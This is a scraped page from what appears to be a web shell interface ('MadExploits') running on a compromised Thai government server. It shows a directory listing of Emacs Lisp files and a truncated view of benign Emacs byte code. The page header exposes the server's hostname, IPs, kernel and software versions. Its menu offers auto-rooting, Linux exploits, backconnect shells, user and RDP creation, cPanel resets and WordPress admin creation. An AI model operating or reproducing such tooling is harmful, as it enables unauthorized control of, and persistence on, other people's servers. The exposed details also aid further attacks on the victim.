Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
calc
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
emacs-lisp
[ DIR ]
drwxr-xr-x
emulation
[ DIR ]
drwxr-xr-x
erc
[ DIR ]
drwxr-xr-x
eshell
[ DIR ]
drwxr-xr-x
gnus
[ DIR ]
drwxr-xr-x
international
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
mh-e
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nxml
[ DIR ]
drwxr-xr-x
obsolete
[ DIR ]
drwxr-xr-x
org
[ DIR ]
drwxr-xr-x
play
[ DIR ]
drwxr-xr-x
progmodes
[ DIR ]
drwxr-xr-x
term
[ DIR ]
drwxr-xr-x
textmodes
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
COPYING
34.32
KB
-rw-r--r--
README
538
B
-rw-r--r--
abbrev.elc
29.69
KB
-rw-r--r--
abbrevlist.elc
1.12
KB
-rw-r--r--
add-log.elc
35.21
KB
-rw-r--r--
align.elc
38.38
KB
-rw-r--r--
allout.elc
208.3
KB
-rw-r--r--
ansi-color.elc
16.3
KB
-rw-r--r--
apropos.elc
31.93
KB
-rw-r--r--
arc-mode.elc
54.72
KB
-rw-r--r--
array.elc
25.83
KB
-rw-r--r--
autoarg.elc
5.98
KB
-rw-r--r--
autoinsert.elc
12.01
KB
-rw-r--r--
autorevert.elc
18.25
KB
-rw-r--r--
avoid.elc
10.17
KB
-rw-r--r--
battery.elc
17.98
KB
-rw-r--r--
bindings.elc
39.04
KB
-rw-r--r--
bookmark.elc
55.9
KB
-rw-r--r--
bs.elc
48.34
KB
-rw-r--r--
buff-menu.elc
28
KB
-rw-r--r--
button.elc
13.92
KB
-rw-r--r--
calculator.elc
49.18
KB
-rw-r--r--
case-table.elc
4.42
KB
-rw-r--r--
cdl.elc
1.26
KB
-rw-r--r--
chistory.elc
5.75
KB
-rw-r--r--
cmuscheme.elc
17.43
KB
-rw-r--r--
comint.elc
100.97
KB
-rw-r--r--
compare-w.elc
10.98
KB
-rw-r--r--
complete.elc
23.62
KB
-rw-r--r--
completion.elc
45.06
KB
-rw-r--r--
composite.elc
29.39
KB
-rw-r--r--
cus-dep.elc
5.04
KB
-rw-r--r--
cus-edit.elc
129.67
KB
-rw-r--r--
cus-face.elc
10.46
KB
-rw-r--r--
cus-load.el
63.45
KB
-rw-r--r--
cus-start.elc
10.67
KB
-rw-r--r--
cus-theme.elc
13.7
KB
-rw-r--r--
custom.elc
36.46
KB
-rw-r--r--
cvs-status.elc
23
KB
-rw-r--r--
dabbrev.elc
23.08
KB
-rw-r--r--
delim-col.elc
8.41
KB
-rw-r--r--
delsel.elc
5.24
KB
-rw-r--r--
descr-text.elc
20.69
KB
-rw-r--r--
desktop.elc
34.52
KB
-rw-r--r--
dframe.elc
22.51
KB
-rw-r--r--
diff-mode.elc
55.58
KB
-rw-r--r--
diff.elc
5.51
KB
-rw-r--r--
dired-aux.elc
67.5
KB
-rw-r--r--
dired-x.elc
44.96
KB
-rw-r--r--
dired.elc
96.48
KB
-rw-r--r--
dirtrack.elc
7.39
KB
-rw-r--r--
disp-table.elc
8.33
KB
-rw-r--r--
dnd.elc
7.04
KB
-rw-r--r--
doc-view.elc
36.01
KB
-rw-r--r--
dos-fns.elc
5.53
KB
-rw-r--r--
dos-vars.elc
1.24
KB
-rw-r--r--
dos-w32.elc
11.12
KB
-rw-r--r--
double.elc
4.13
KB
-rw-r--r--
ebuff-menu.elc
9.11
KB
-rw-r--r--
echistory.elc
4.93
KB
-rw-r--r--
ediff-diff.elc
35.54
KB
-rw-r--r--
ediff-help.elc
11.47
KB
-rw-r--r--
ediff-hook.elc
5.89
KB
-rw-r--r--
ediff-init.elc
60.88
KB
-rw-r--r--
ediff-merg.elc
10.04
KB
-rw-r--r--
ediff-mult.elc
58.31
KB
-rw-r--r--
ediff-ptch.elc
18.63
KB
-rw-r--r--
ediff-util.elc
118.44
KB
-rw-r--r--
ediff-vers.elc
4.74
KB
-rw-r--r--
ediff-wind.elc
30.56
KB
-rw-r--r--
ediff.elc
36.28
KB
-rw-r--r--
edmacro.elc
21.45
KB
-rw-r--r--
ehelp.elc
11.03
KB
-rw-r--r--
electric.elc
2.81
KB
-rw-r--r--
elide-head.elc
2.8
KB
-rw-r--r--
emacs-lock.elc
2.77
KB
-rw-r--r--
emerge.elc
80.16
KB
-rw-r--r--
env.elc
5.69
KB
-rw-r--r--
epa-dired.elc
1.87
KB
-rw-r--r--
epa-file.elc
6.77
KB
-rw-r--r--
epa-hook.elc
4.28
KB
-rw-r--r--
epa-mail.elc
7.04
KB
-rw-r--r--
epa.elc
34.03
KB
-rw-r--r--
epg-config.elc
4.01
KB
-rw-r--r--
epg.elc
85.05
KB
-rw-r--r--
expand.elc
9.42
KB
-rw-r--r--
ezimage.elc
9.2
KB
-rw-r--r--
face-remap.elc
13.15
KB
-rw-r--r--
facemenu.elc
23.61
KB
-rw-r--r--
faces.elc
81.51
KB
-rw-r--r--
ffap.elc
46.14
KB
-rw-r--r--
filecache.elc
16.1
KB
-rw-r--r--
files.elc
175.25
KB
-rw-r--r--
filesets.elc
73.03
KB
-rw-r--r--
find-cmd.elc
4.94
KB
-rw-r--r--
find-dired.elc
7.4
KB
-rw-r--r--
find-file.elc
18.68
KB
-rw-r--r--
find-lisp.elc
7.42
KB
-rw-r--r--
finder-inf.el
93.47
KB
-rw-r--r--
finder.elc
12.11
KB
-rw-r--r--
flow-ctrl.elc
2.44
KB
-rw-r--r--
foldout.elc
7.6
KB
-rw-r--r--
follow.elc
37.11
KB
-rw-r--r--
font-core.elc
12.92
KB
-rw-r--r--
font-lock.elc
61.1
KB
-rw-r--r--
format-spec.elc
1.98
KB
-rw-r--r--
format.elc
27.73
KB
-rw-r--r--
forms-d2.el
3.13
KB
-rw-r--r--
forms-pass.el
742
B
-rw-r--r--
forms.elc
35.13
KB
-rw-r--r--
frame.elc
48.66
KB
-rw-r--r--
fringe.elc
8.01
KB
-rw-r--r--
generic-x.elc
44.25
KB
-rw-r--r--
gs.elc
3.93
KB
-rw-r--r--
help-at-pt.elc
11.27
KB
-rw-r--r--
help-fns.elc
21.77
KB
-rw-r--r--
help-macro.elc
4.37
KB
-rw-r--r--
help-mode.elc
19.38
KB
-rw-r--r--
help.elc
40.91
KB
-rw-r--r--
hex-util.elc
1.48
KB
-rw-r--r--
hexl.elc
32.06
KB
-rw-r--r--
hi-lock.elc
23.27
KB
-rw-r--r--
hilit-chg.elc
28.02
KB
-rw-r--r--
hippie-exp.elc
23.39
KB
-rw-r--r--
hl-line.elc
7.71
KB
-rw-r--r--
ibuf-ext.elc
54.62
KB
-rw-r--r--
ibuf-macs.elc
11.65
KB
-rw-r--r--
ibuffer.elc
91.96
KB
-rw-r--r--
icomplete.elc
10.36
KB
-rw-r--r--
ido.elc
110.93
KB
-rw-r--r--
ielm.elc
17.67
KB
-rw-r--r--
iimage.elc
4.06
KB
-rw-r--r--
image-dired.elc
82.24
KB
-rw-r--r--
image-file.elc
6.11
KB
-rw-r--r--
image-mode.elc
14.54
KB
-rw-r--r--
image.elc
17.09
KB
-rw-r--r--
imenu.elc
24.8
KB
-rw-r--r--
indent.elc
17
KB
-rw-r--r--
info-look.elc
26.13
KB
-rw-r--r--
info-xref.elc
7.04
KB
-rw-r--r--
info.elc
119.11
KB
-rw-r--r--
informat.elc
9.69
KB
-rw-r--r--
isearch.elc
76.23
KB
-rw-r--r--
isearchb.elc
4.92
KB
-rw-r--r--
iswitchb.elc
32.11
KB
-rw-r--r--
jit-lock.elc
17.93
KB
-rw-r--r--
jka-cmpr-hook.elc
11.67
KB
-rw-r--r--
jka-compr.elc
12.64
KB
-rw-r--r--
json.elc
13.04
KB
-rw-r--r--
kermit.elc
2.96
KB
-rw-r--r--
kmacro.elc
31.07
KB
-rw-r--r--
ldefs-boot.el
1.17
MB
-rw-r--r--
ledit.elc
4.74
KB
-rw-r--r--
linum.elc
9.56
KB
-rw-r--r--
loaddefs.el
1.17
MB
-rw-r--r--
loadhist.elc
8.65
KB
-rw-r--r--
loadup.el
12.67
KB
-rw-r--r--
locate.elc
17.81
KB
-rw-r--r--
log-edit.elc
24.93
KB
-rw-r--r--
log-view.elc
14.06
KB
-rw-r--r--
longlines.elc
14.94
KB
-rw-r--r--
lpr.elc
8.61
KB
-rw-r--r--
ls-lisp.elc
17.35
KB
-rw-r--r--
macros.elc
6.99
KB
-rw-r--r--
makesum.elc
2.16
KB
-rw-r--r--
man.elc
40.03
KB
-rw-r--r--
master.elc
4.52
KB
-rw-r--r--
mb-depth.elc
3.12
KB
-rw-r--r--
md4.elc
8.14
KB
-rw-r--r--
menu-bar.elc
67.01
KB
-rw-r--r--
midnight.elc
8.92
KB
-rw-r--r--
minibuf-eldef.elc
5.15
KB
-rw-r--r--
minibuffer.elc
42.75
KB
-rw-r--r--
misc.elc
3.67
KB
-rw-r--r--
misearch.elc
8.96
KB
-rw-r--r--
mouse-copy.elc
4.07
KB
-rw-r--r--
mouse-drag.elc
7.33
KB
-rw-r--r--
mouse-sel.elc
20.93
KB
-rw-r--r--
mouse.elc
60.03
KB
-rw-r--r--
msb.elc
27.27
KB
-rw-r--r--
mwheel.elc
9.41
KB
-rw-r--r--
newcomment.elc
32.76
KB
-rw-r--r--
novice.elc
4.75
KB
-rw-r--r--
outline.elc
34.54
KB
-rw-r--r--
paren.elc
6.43
KB
-rw-r--r--
password-cache.elc
3.58
KB
-rw-r--r--
patcomp.el
775
B
-rw-r--r--
paths.el
7.28
KB
-rw-r--r--
pcmpl-cvs.elc
6
KB
-rw-r--r--
pcmpl-gnu.elc
8.21
KB
-rw-r--r--
pcmpl-linux.elc
3.17
KB
-rw-r--r--
pcmpl-rpm.elc
7.5
KB
-rw-r--r--
pcmpl-unix.elc
5.44
KB
-rw-r--r--
pcomplete.elc
34.1
KB
-rw-r--r--
pcvs-defs.elc
16.27
KB
-rw-r--r--
pcvs-info.elc
25.83
KB
-rw-r--r--
pcvs-parse.elc
15.34
KB
-rw-r--r--
pcvs-util.elc
26.8
KB
-rw-r--r--
pcvs.elc
85.52
KB
-rw-r--r--
pgg-def.elc
2.78
KB
-rw-r--r--
pgg-gpg.elc
13.09
KB
-rw-r--r--
pgg-parse.elc
13.45
KB
-rw-r--r--
pgg-pgp.elc
7.64
KB
-rw-r--r--
pgg-pgp5.elc
7.68
KB
-rw-r--r--
pgg.elc
18.01
KB
-rw-r--r--
printing.elc
157.56
KB
-rw-r--r--
proced.elc
57.95
KB
-rw-r--r--
ps-bdf.elc
13.34
KB
-rw-r--r--
ps-def.elc
3.09
KB
-rw-r--r--
ps-mule.elc
36.17
KB
-rw-r--r--
ps-print.elc
145.59
KB
-rw-r--r--
ps-samp.elc
5.5
KB
-rw-r--r--
recentf.elc
49.04
KB
-rw-r--r--
rect.elc
10.79
KB
-rw-r--r--
register.elc
10.69
KB
-rw-r--r--
repeat.elc
6.05
KB
-rw-r--r--
replace.elc
55.02
KB
-rw-r--r--
reposition.elc
2.88
KB
-rw-r--r--
reveal.elc
6.61
KB
-rw-r--r--
rfn-eshadow.elc
7.12
KB
-rw-r--r--
rot13.elc
2.6
KB
-rw-r--r--
ruler-mode.elc
22.48
KB
-rw-r--r--
s-region.elc
3.3
KB
-rw-r--r--
savehist.elc
10.57
KB
-rw-r--r--
saveplace.elc
7.51
KB
-rw-r--r--
sb-image.elc
2.51
KB
-rw-r--r--
scroll-all.elc
4.05
KB
-rw-r--r--
scroll-bar.elc
11.47
KB
-rw-r--r--
scroll-lock.elc
4.64
KB
-rw-r--r--
select.elc
11.8
KB
-rw-r--r--
server.elc
39.79
KB
-rw-r--r--
ses.elc
87.39
KB
-rw-r--r--
sha1.elc
8
KB
-rw-r--r--
shadowfile.elc
22.61
KB
-rw-r--r--
shell.elc
34.08
KB
-rw-r--r--
simple.elc
196.35
KB
-rw-r--r--
skeleton.elc
15.78
KB
-rw-r--r--
smerge-mode.elc
33.61
KB
-rw-r--r--
sort.elc
12.94
KB
-rw-r--r--
soundex.elc
1.34
KB
-rw-r--r--
speedbar.elc
115.06
KB
-rw-r--r--
startup.elc
60.78
KB
-rw-r--r--
strokes.elc
44.11
KB
-rw-r--r--
subdirs.el
426
B
-rw-r--r--
subr.elc
113.48
KB
-rw-r--r--
t-mouse.elc
3.38
KB
-rw-r--r--
tabify.elc
2
KB
-rw-r--r--
talk.elc
3.19
KB
-rw-r--r--
tar-mode.elc
52.24
KB
-rw-r--r--
tempo.elc
18.63
KB
-rw-r--r--
term.elc
99.67
KB
-rw-r--r--
terminal.elc
31.36
KB
-rw-r--r--
thingatpt.elc
10.84
KB
-rw-r--r--
thumbs.elc
26.23
KB
-rw-r--r--
time-stamp.elc
21.03
KB
-rw-r--r--
time.elc
18.2
KB
-rw-r--r--
timezone.elc
10.99
KB
-rw-r--r--
tmm.elc
13.9
KB
-rw-r--r--
tool-bar.elc
9.69
KB
-rw-r--r--
tooltip.elc
12.35
KB
-rw-r--r--
tree-widget.elc
20.87
KB
-rw-r--r--
tutorial.elc
21.41
KB
-rw-r--r--
type-break.elc
35.61
KB
-rw-r--r--
uniquify.elc
19.91
KB
-rw-r--r--
userlock.elc
4.69
KB
-rw-r--r--
vc-annotate.elc
22.68
KB
-rw-r--r--
vc-arch.elc
17.58
KB
-rw-r--r--
vc-bzr.elc
26.84
KB
-rw-r--r--
vc-cvs.elc
32.19
KB
-rw-r--r--
vc-dav.elc
5.3
KB
-rw-r--r--
vc-dir.elc
39.5
KB
-rw-r--r--
vc-dispatcher.elc
14.61
KB
-rw-r--r--
vc-git.elc
32.75
KB
-rw-r--r--
vc-hg.elc
25.95
KB
-rw-r--r--
vc-hooks.elc
32.75
KB
-rw-r--r--
vc-mtn.elc
10.95
KB
-rw-r--r--
vc-rcs.elc
34.99
KB
-rw-r--r--
vc-sccs.elc
13.24
KB
-rw-r--r--
vc-svn.elc
20.57
KB
-rw-r--r--
vc.elc
59.4
KB
-rw-r--r--
vcursor.elc
23.44
KB
-rw-r--r--
version.el
3.37
KB
-rw-r--r--
view.elc
35.96
KB
-rw-r--r--
vt-control.elc
2.06
KB
-rw-r--r--
vt100-led.elc
1.53
KB
-rw-r--r--
w32-fns.elc
15.82
KB
-rw-r--r--
w32-vars.elc
5.53
KB
-rw-r--r--
wdired.elc
21.69
KB
-rw-r--r--
whitespace.elc
59.83
KB
-rw-r--r--
wid-browse.elc
7.89
KB
-rw-r--r--
wid-edit.elc
104.76
KB
-rw-r--r--
widget.elc
1.37
KB
-rw-r--r--
windmove.elc
9.57
KB
-rw-r--r--
window.elc
57.4
KB
-rw-r--r--
winner.elc
11.61
KB
-rw-r--r--
woman.elc
107.73
KB
-rw-r--r--
x-dnd.elc
19.35
KB
-rw-r--r--
xml.elc
18.38
KB
-rw-r--r--
xt-mouse.elc
7.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : shadowfile.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:05:15 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/shadowfile.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`shadowfile.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\302\303\304\305\306\307\310\311\312\313& \207" [require ange-ftp custom-declare-group shadow nil "Automatic file copying when saving a file." :prefix "shadow-" :link (emacs-commentary-link "shadowfile") :group files] 10) #@165 If t, always copy shadow files without asking. If nil (the default), always ask. If not nil and not t, ask only if there is no buffer currently visiting the file. (custom-declare-variable 'shadow-noquery 'nil '(#$ . 859) :type '(choice (const t) (const nil) (other :tag "Ask if no buffer" maybe)) :group 'shadow) #@65 If non-nil, do not display a message when a file needs copying. (custom-declare-variable 'shadow-inhibit-message 'nil '(#$ . 1179) :type 'boolean :group 'shadow) #@210 If non-nil, shadowfile won't redefine \[save-buffers-kill-emacs]. Normally it overloads the function `save-buffers-kill-emacs' to check for files that have been changed and need to be copied to other systems. (custom-declare-variable 'shadow-inhibit-overload 'nil '(#$ . 1348) :type 'boolean :group 'shadow) #@144 File to keep shadow information in. The `shadow-info-file' should be shadowed to all your accounts to ensure consistency. Default: ~/.shadows (custom-declare-variable 'shadow-info-file 'nil '(#$ . 1663) :type '(choice (const nil) file) :group 'shadow) #@354 File to store the list of uncopied shadows in. This means that if a remote system is down, or for any reason you cannot or decide not to copy your shadow files at the end of one Emacs session, it will remember and ask you again in your next Emacs session. This file must NOT be shadowed to any other system, it is host-specific. Default: ~/.shadow_todo (custom-declare-variable 'shadow-todo-file 'nil '(#$ . 1923) :type '(choice (const nil) file) :group 'shadow) #@40 The complete hostname of this machine. (defvar shadow-system-name (system-name) (#$ . 2392)) #@38 Your home directory on this machine. (defvar shadow-homedir nil (#$ . 2491)) #@54 List of host clusters (see `shadow-define-cluster'). (defvar shadow-clusters nil (#$ . 2574)) #@149 List of files that are shared between hosts. This list contains shadow structures with literal filenames, created by `shadow-define-literal-group'. (defvar shadow-literal-groups nil (#$ . 2675)) #@162 List of file types that are shared between hosts. This list contains shadow structures with regexps matching filenames, created by `shadow-define-regexp-group'. (defvar shadow-regexp-groups nil (#$ . 2877)) (byte-code "\301B\302\301!\204 \303\301\304\"\210\305B\302\305!\204 \303\305\304\"\210\306B\302\306!\204- \303\306\304\"\210\307B\302\307!\204< \303\307\304\"\210\304\207" [current-load-list shadow-files-to-copy default-boundp set-default nil shadow-hashtable shadow-info-buffer shadow-todo-buffer] 3) #@69 Add members of list A to list B if not equal to items already in B. (defalias 'shadow-union #[(a b) "\204 \207@ \235\203 \302A \"\207\302A@ B\"\207" [a b shadow-union] 4 (#$ . 3402)]) #@80 If FUNC applied to some element of LIST is non-nil, return first such element. (defalias 'shadow-find #[(func list) "\203 @!\204 A\211\204 @\207" [list func] 3 (#$ . 3600)]) #@123 Remove elements satisfying FUNC from LIST. Nondestructive; actually returns a copy of the list with the elements removed. (defalias 'shadow-remove-if #[(func list) "\205 @!\203 \302 A\"\207@\302 A\"B\207" [list func shadow-remove-if] 4 (#$ . 3790)]) #@99 Like `regexp-quote', but includes the ^ and $. This makes sure regexp matches nothing but STRING. (defalias 'shadow-regexp-superquote #[(string) "\301\302!\303Q\207" [string "^" regexp-quote "$"] 3 (#$ . 4054)]) #@130 If PREFIX begins STRING, return the rest. Return value is non-nil if PREFIX and STRING are `string=' up to the length of PREFIX. (defalias 'shadow-suffix #[(prefix string) "G G\n Y\205 \304 O\230\205 \305O*\207" [prefix string ls lp 0 nil] 4 (#$ . 4274)]) #@309 Create a shadow cluster. It is called NAME, uses the PRIMARY hostname and REGEXP matching all hosts in the cluster. The variable `shadow-clusters' associates the names of clusters to these structures. This function is for program use: to create clusters interactively, use `shadow-define-cluster' instead. (defalias 'shadow-make-cluster #[(name primary regexp) " \nE\207" [name primary regexp] 3 (#$ . 4546)]) #@33 Return the name of the CLUSTER. (defalias 'shadow-cluster-name '(macro . #[(cluster) "\301\302E\207" [cluster elt 0] 3 (#$ . 4965)])) #@43 Return the primary hostname of a CLUSTER. (defalias 'shadow-cluster-primary '(macro . #[(cluster) "\301\302E\207" [cluster elt 1] 3 (#$ . 5106)])) #@48 Return the regexp matching hosts in a CLUSTER. (defalias 'shadow-cluster-regexp '(macro . #[(cluster) "\301\302E\207" [cluster elt 2] 3 (#$ . 5260)])) #@197 Put cluster NAME on the list of clusters. Replace old definition, if any. PRIMARY and REGEXP are the information defining the cluster. For interactive use, call `shadow-define-cluster' instead. (defalias 'shadow-set-cluster #[(name primary regexp) "\305\306\"\307\n \f# B\211)\207" [shadow-clusters rest name primary regexp shadow-remove-if #[(x) " @\232\207" [name x] 2] shadow-make-cluster] 4 (#$ . 5419)]) #@36 Return cluster named NAME, or nil. (defalias 'shadow-get-cluster '(macro . #[(name) "\301\302E\207" [name assoc shadow-clusters] 3 (#$ . 5840)])) #@67 If SITE is a cluster, return primary host, otherwise return SITE. (defalias 'shadow-site-primary #[(site) "\303 \"\211\203 \n\304\234\202 )\207" [site shadow-clusters c assoc 1] 4 (#$ . 5993)]) #@75 Given a SITE (hostname or cluster name), return cluster it is in, or nil. (defalias 'shadow-site-cluster #[(site) "\302 \"\206 \303\304 \"\207" [site shadow-clusters assoc shadow-find #[(x) "\302\303\234 \"\207" [x site string-match 2] 3]] 3 (#$ . 6198)]) #@54 Read a cluster name or hostname from the minibuffer. (defalias 'shadow-read-site #[nil "\302\303\"\211\304\232?\205 )\207" [shadow-clusters ans completing-read "Host or cluster name [RET when done]: " ""] 4 (#$ . 6463)]) #@160 Non-nil if SITE1 is or includes SITE2. Each may be a host or cluster name; if they are clusters, regexp of SITE1 will be matched against the primary of SITE2. (defalias 'shadow-site-match #[(site1 site2) " \230\206 \305\n\"\306 ! \203 \307 \310\234\f\"\202 \f\230*\207" [site1 site2 shadow-clusters cluster1 primary2 assoc shadow-site-primary string-match 2] 3 (#$ . 6695)]) #@41 Return the default username for a SITE. (defalias 'shadow-get-user #[(site) "\301\302!!\207" [site ange-ftp-get-user shadow-site-primary] 3 (#$ . 7084)]) #@142 Parse FULLNAME into (site user path) list. Leave it alone if it already is one. Return nil if the argument is not a full ange-ftp pathname. (defalias 'shadow-parse-fullname #[(fullname) "<\203 \207\301!\207" [fullname ange-ftp-ftp-name] 2 (#$ . 7246)]) #@118 Parse any NAME into (site user name) list. Argument can be a simple name, full ange-ftp name, or already a hup list. (defalias 'shadow-parse-name #[(name) "\302!\206 \303 E\207" [name shadow-system-name shadow-parse-fullname user-login-name] 3 (#$ . 7511)]) #@124 Make an ange-ftp style fullname out of HOST, USER (optional), and NAME. This is probably not as general as it ought to be. (defalias 'shadow-make-fullname #[(host user name) "\303\205 \304P \305\n\260\207" [user host name "/" "@" ":"] 5 (#$ . 7780)]) (put 'shadow-make-fullname 'byte-optimizer 'byte-compile-inline-expand) #@61 Return FULLNAME with the name component changed to NEWNAME. (defalias 'shadow-replace-name-component #[(fullname newname) "\306!\211@ A@\n \307\f\205 \f\310P \311 \260,\207" [fullname hup newname name user host shadow-parse-fullname "/" "@" ":"] 6 (#$ . 8113)]) #@130 If FILE is at this site, remove /user@host part. If refers to a different system or a different user on this system, return nil. (defalias 'shadow-local-file #[(file) "\303!\211\204\f \202$ \304 @\n\"\203# A@\305 \230\203# \306 8\202$ \307)\207" [file hup shadow-system-name shadow-parse-fullname shadow-site-match user-login-name 2 nil] 4 (#$ . 8388)]) #@130 If hostname part of FILE is a cluster, expand it to cluster's primary hostname. Will return the name bare if it is a local file. (defalias 'shadow-expand-cluster-in-file-name #[(file) "\306!\307\211\204 \202/ \310\n!\206/ \311\n@!\nA@\312\n8 \313\f\205) \f\314P \315 \260+*\207" [file cluster hup name user host shadow-parse-name nil shadow-local-file shadow-site-primary 2 "/" "@" ":"] 6 (#$ . 8753)]) #@44 Expand file name and get FILE's true name. (defalias 'shadow-expand-file-name #[(file &optional default) "\302\303 \"!\207" [file default file-truename expand-file-name] 4 (#$ . 9170)]) #@162 Simplify FILE. Do so by replacing (when possible) home directory with ~, and hostname with cluster name that includes it. Filename should be absolute and true. (defalias 'shadow-contract-file-name #[(file) "\306!\307 !\203 \n\202- \310\311\312\313 @ A@\314 \315\f\205# \f\316P \317 \260+!!8! \320\311 8\" \321 @!\211 \203I \322\234\202K @ A@\203Z \323P\202] \311 8 \315\f\205h \f\316P \317 \260.\207" [file hup shadow-homedir name user host shadow-parse-name shadow-local-file file-name-as-directory 2 shadow-parse-fullname expand-file-name "~" "/" "@" ":" shadow-suffix shadow-site-cluster 0 "~/" homedir suffix cluster] 10 (#$ . 9364)]) #@237 True if the site of PATTERN and of FILE are on the same site. If usernames are supplied, they must also match exactly. PATTERN and FILE may be lists of host, user, name, or ange-ftp file names. FILE may also be just a local filename. (defalias 'shadow-same-site #[(pattern file) "\304!\305 !\306 @\n@\"\205 A@?\206 A@\nA@\230*\207" [pattern file file-sup pattern-sup shadow-parse-fullname shadow-parse-name shadow-site-match] 3 (#$ . 10033)]) #@404 Return t if PATTERN matches FILE. If REGEXP is supplied and non-nil, the file part of the pattern is a regular expression, otherwise it must match exactly. The sites and usernames must match---see `shadow-same-site'. The pattern must be in full ange-ftp format, but the file can be any valid filename. This function does not do any filename expansion or contraction, you must do that yourself first. (defalias 'shadow-file-match #[(pattern file &optional regexp) "\305!\306\n!\307 \"\205% \f\203 \310\311 8\311 8\"\202% \311 8\311 8\230*\207" [pattern pattern-sup file file-sup regexp shadow-parse-fullname shadow-parse-name shadow-same-site string-match 2] 4 (#$ . 10492)]) #@373 Edit (or create) the definition of a cluster NAME. This is a group of hosts that share directories, so that copying to or from one of them is sufficient to update the file on all of them. Clusters are defined by a name, the network address of a primary host (the one we copy files to), and a regular expression that matches the hostnames of all the sites in the cluster. (defalias 'shadow-define-cluster #[(name) "\306 \"\307\310\n\203 \n\311\234\202 \"\312 \313\307\314\n\203# \n\315\234\202& \316 !\"\211 \"\2049 \317\320!\210\321\315!\210\202 \f) \322 #+\207" [name shadow-clusters old primary try-regexp regexp assoc read-string "Primary host: " 1 nil string-match "Regexp matching all host names: " 2 shadow-regexp-superquote message "Regexp doesn't include the primary host!" sit-for shadow-set-cluster] 5 (#$ . 11182) (list (completing-read "Cluster name: " shadow-clusters nil nil))]) #@273 Declare a single file to be shared between sites. It may have different filenames on each site. When this file is edited, the new version will be copied to each of the other locations. Sites can be specific hostnames, or names of clusters (see `shadow-define-cluster'). (defalias 'shadow-define-literal-group #[nil "\306\307\310 !!\3118\312\211\312 \313 \211\203L \314\315\316\317 !\"!\314\320 \" \n\321\230\2033 \317 !\2024 \n \322\n\205@ \n\323P \324 \260+\fB\202 \fB-\325 \207" [hup name user site group host shadow-parse-fullname shadow-contract-file-name buffer-file-name 2 nil shadow-read-site read-string format "Username (default %s): " shadow-get-user "Filename: " "" "/" "@" ":" shadow-write-info-file shadow-literal-groups] 6 (#$ . 12093) nil]) #@389 Make each of a group of files be shared between hosts. Prompts for regular expression; files matching this are shared between a list of sites, which are also prompted for. The filenames must be identical on all hosts (if they aren't, use `shadow-define-literal-group' instead of this function). Each site can be either a hostname or the name of a cluster (see `shadow-define-cluster'). (defalias 'shadow-define-regexp-group #[nil "\305\306\307 \205 \310\311\312\313\307 !!8!\"\314\211\211\315 \211\2033 \n B\305\316\317\n\"\320\n!\"B\202 \321 #\fB\322 ,\207" [usernames sites site regexp shadow-regexp-groups read-string "Filename regexp: " buffer-file-name shadow-regexp-superquote 2 shadow-parse-name shadow-contract-file-name nil shadow-read-site format "Username for %s: " shadow-get-user shadow-make-group shadow-write-info-file] 7 (#$ . 12876) nil]) #@54 Interactive function to display shadows of a buffer. (defalias 'shadow-shadows #[nil "\301\302\303\304 !\305#\306\307\310G!\203 \311\202 \")\207" [msg mapconcat cdr shadow-shadows-of buffer-file-name " " message "%s" zerop "No shadows."] 4 (#$ . 13753) nil]) #@309 Copy all pending shadow files. With prefix argument, copy all pending files without query. Pending copies are stored in variable `shadow-files-to-copy', and in `shadow-todo-file' if necessary. This function is invoked by `shadow-save-buffers-kill-emacs', so it is not usually necessary to call it manually. (defalias 'shadow-copy-files #[(&optional arg) "\204\f t\205 \301\302!\207\212\303\304\305\306$\210\307\310!)\207" [shadow-files-to-copy message "No files need to be shadowed." map-y-or-n-p #[(pair) "\206 \206 \303\304\nA\"\207" [arg shadow-noquery pair format "Copy shadow file %s? "] 3] shadow-copy-file ("shadow" "shadows" "copy") shadow-write-todo-file t] 5 (#$ . 14024) "P"]) #@281 Cancel the instruction to copy some files. Prompts for which copy operations to cancel. You will not be asked to copy them again, unless you make more changes to the files. To cancel a shadow permanently, remove the group from `shadow-literal-groups' or `shadow-regexp-groups'. (defalias 'shadow-cancel #[nil "\301\302\303\304$\210\305\306G\"\210\307 \207" [shadow-files-to-copy map-y-or-n-p #[(pair) "\301\302@A#\207" [pair format "Cancel copying %s to %s? "] 4] #[(pair) "\301!\207" [pair shadow-remove-from-todo] 2] ("shadow" "shadows" "cancel copy") message "There are %d shadows to be updated." shadow-write-todo-file] 5 (#$ . 14727) nil]) #@196 Make a description of a file group--- actually a list of regexp ange-ftp file names---from REGEXP (name of file to be shadowed), list of SITES, and corresponding list of USERNAMES for each site. (defalias 'shadow-make-group #[(regexp sites usernames) "\205\" @ @\n \306\f\205 \f\307P \310 \260+\311\nA A#B\207" [sites usernames regexp name user host "/" "@" ":" shadow-make-group] 5 (#$ . 15386)]) #@23 Copy one shadow file. (defalias 'shadow-copy-file #[(s) "\304\305\306@!!!\2068 \307@!\204$ \310\311\312@\"!\203 \313!\210\314\2028 \315=\2044 \310\311\316@\"!\2058 